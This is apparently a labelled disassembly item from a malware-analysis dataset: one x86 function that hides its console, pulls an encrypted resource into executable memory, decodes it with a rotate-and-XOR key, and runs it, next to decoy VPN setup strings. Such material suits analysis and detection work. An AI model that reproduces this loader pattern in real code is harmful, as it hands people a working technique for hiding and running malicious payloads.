Function at 0x404090
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push str.Kernel32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x383
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x40437b
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push ebx
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40437b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x1000
push edi
push esi
mov dword [ebp - 4], eax
call dword [ebp - 8]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x40437b
push edi
push dword [ebp - 4]
push ebx
call fcn.00420fc0
push 0x2faf080
call fcn.00420649
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
je 0x40437b
push 0x2faf080
push 0xff
push eax
call fcn.00421610
add esp, 0xc
xor ecx, ecx
test edi, edi
je 0x404183
mov al, byte [ebx + ecx]
ror al, 3
xor al, byte [esi + str.hxoexqjotebuh]
mov byte [ebx + ecx], al
lea eax, [esi + 1]
mov esi, 0xd
cdq
idiv esi
inc ecx
mov esi, edx
cmp ecx, edi
jb 0x404162
mov eax, dword [ebp - 8]
call eax
push dword [ebp - 4]
call fcn.004205d4
add esp, 4
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push eax
call fcn.00402530
mov ebx, dword [ebp - 0x14]
mov edi, ebx
mov esi, dword [ebp - 0x10]
cmp ebx, esi
je 0x40422f
lea ecx, [ecx]
push edi
push 0x4595d8
call fcn.00401260
mov ebx, eax
mov ecx, dword [ebx]
mov ecx, dword [ecx + 4]
mov esi, dword [ecx + ebx + 0x30]
mov esi, dword [esi]
mov ecx, esi
mov dword [ebp - 8], esi
mov edx, dword [esi]
call dword [edx + 4]
lea eax, [ebp - 8]
push eax
call fcn.00401920
mov edx, dword [esi]
add esp, 4
mov ecx, esi
mov dword [ebp - 8], eax
call dword [edx + 8]
test eax, eax
je 0x404204
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 8]
push 0xa
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
call eax
movzx eax, al
mov ecx, ebx
push eax
call fcn.00403c90
mov ecx, ebx
call fcn.004038a0
mov esi, dword [ebp - 0x10]
add edi, 0x18
cmp edi, esi
jne 0x4041c0
mov ebx, dword [ebp - 0x14]
push 5
push str.MyVPN
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
call fcn.00403310
push 0xf
push str.vpn.example.com
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
call fcn.00403310
push 4
push str.user
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x48], 0xf
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x5c], 0
call fcn.00403310
push 4
push str.pass
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
call fcn.00403310
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00402480
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004023d0
push 0
call 0x400000
cmp dword [ebp - 0x30], 0x10
jb 0x4042e9
push dword [ebp - 0x44]
call fcn.0041fdea
add esp, 4
cmp dword [ebp - 0x48], 0x10
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
jb 0x40430c
push dword [ebp - 0x5c]
call fcn.0041fdea
add esp, 4
cmp dword [ebp - 0x60], 0x10
mov dword [ebp - 0x48], 0xf
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x5c], 0
jb 0x40432f
push dword [ebp - 0x74]
call fcn.0041fdea
add esp, 4
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
jb 0x404352
push dword [ebp - 0x2c]
call fcn.0041fdea
add esp, 4
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
test ebx, ebx
je 0x40437b
push esi
push ebx
lea ecx, [ebp - 0x14]
call fcn.004027e0
push ebx
call fcn.0041fdea
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret